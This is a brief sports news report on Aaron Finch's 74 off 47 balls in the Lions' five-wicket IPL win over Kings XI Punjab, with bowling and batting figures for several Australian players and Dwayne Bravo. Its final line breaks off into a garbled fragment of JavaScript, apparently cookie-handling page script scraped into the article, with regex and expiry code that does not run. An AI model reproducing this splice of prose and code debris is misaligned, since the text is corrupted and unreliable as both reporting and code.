Australia batsman Aaron Finch has starred in his side's five-wicket win over the Kings XI Punjab in the IPL overnight.

Finch blasted 74 runs off just 47 balls, as the Lions chased down 162 for victory with more than two overs to spare, against fellow Aussies Glenn Maxwell, Marcus Stoinis and Mitchell Johnson.

Stoinis scored 33 off 22 balls, while Maxwell fell cheaply, for just two. Mitchell Johnson claimed one wicket from his four overs.

West Indian star Dwayne Bravo was equally as important for the victors, claiming 4-22, including the valuable wicket of Maxwell with a brilliant yorker.

Meanwhile, James Faulkner was also part of the winning side, finishing with figures of 0-39 off four overs. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
